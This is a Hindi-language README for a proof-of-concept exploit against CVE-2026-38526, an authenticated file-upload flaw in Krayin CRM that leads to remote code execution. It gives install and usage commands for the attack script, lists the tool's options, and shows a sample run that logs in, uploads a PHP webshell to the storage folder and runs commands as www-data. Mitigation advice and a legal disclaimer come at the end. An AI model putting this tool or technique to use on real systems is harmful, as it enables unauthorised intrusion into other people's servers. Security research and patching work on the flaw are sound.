CVE-2026-38526 — Krayin CRM ≤ 2.2.x प्रमाणित RCE

⚠️ कानूनी चेतावनी: यह कोड केवल शैक्षिक उद्देश्यों के लिए और अधिकृत परीक्षणों (CTF, बग बाउंटी, निजी लैब) के लिए प्रदान किया गया है। लेखक किसी भी अवैध उपयोग के लिए जिम्मेदार नहीं है।

विवरण

Krayin CRM (Webkul) ≤ 2.2.x एंडपॉइंट /admin/tinymce/upload को उजागर करता है जो एक प्रमाणित उपयोगकर्ता (यहां तक कि कम विशेषाधिकार वाले) को बिना एक्सटेंशन सत्यापन के फ़ाइलें अपलोड करने की अनुमति देता है। फ़ाइल फिर storage/ फ़ोल्डर से सर्व की जाती है, जिससे मनमाना PHP कोड निष्पादन संभव हो जाता है।

• प्रकार: मनमाना फ़ाइल अपलोड → RCE
• CVSS: 9.9 (गंभीर)
• प्रमाणीकरण आवश्यक: हाँ (कोई भी वैध खाता)

इंस्टॉलेशन

git clone https://github.com/<TON_PSEUDO>/cve-2026-38526.git
cd cve-2026-38526
pip install -r requirements.txt

उपयोग

python3 cve-2026-38526.py -t http://target.tld -u [email protected] -p 'password' -c 'id'

विकल्प:

विकल्प	विवरण
-t, --target	लक्ष्य का रूट URL
-u, --user	Krayin खाते का ईमेल
-p, --password	पासवर्ड
-c, --command	निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: id)
--login-path	लॉगिन पथ (डिफ़ॉल्ट: /admin/login)
--upload-path	अपलोड पथ (डिफ़ॉल्ट: /admin/tinymce/upload)
--timeout	HTTP टाइमआउट (डिफ़ॉल्ट: 15)

उदाहरण

$ python3 cve-2026-38526.py -t http://billing.nexus.htb \
    -u [email protected] -p 'N27xh!!2ucY04' -c 'id'

[*] http://billing.nexus.htb/admin/login पर CSRF टोकन प्राप्त किया जा रहा है
[*] लॉगिन फ़ॉर्म भेजा जा रहा है
[+] प्रमाणीकरण सफल
[*] http://billing.nexus.htb/admin/tinymce/upload के माध्यम से x8f2k1ab.php अपलोड किया जा रहा है
[+] वेबशेल सुलभ: http://billing.nexus.htb/storage/tinymce/x8f2k1ab.php
[*] निष्पादन: id

============================================================
[+] कमांड: id
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================

शमन

• Krayin CRM को ठीक किए गए संस्करण में अपडेट करें।
• अपलोड की गई फ़ाइलों के एक्सटेंशन को प्रतिबंधित करें (व्हाइटलिस्ट)।
• storage/ और uploads/ फ़ोल्डरों में PHP निष्पादन को अक्षम करें।
• CRM खातों पर न्यूनतम विशेषाधिकार के सिद्धांत को लागू करें।

अस्वीकरण

यह प्रोजेक्ट सुरक्षा अनुसंधान उद्देश्यों के लिए प्रकाशित किया गया है। पूर्व लिखित अधिकार के बिना सिस्टम के विरुद्ध कोई भी उपयोग अवैध है और सख्ती से प्रतिबंधित है।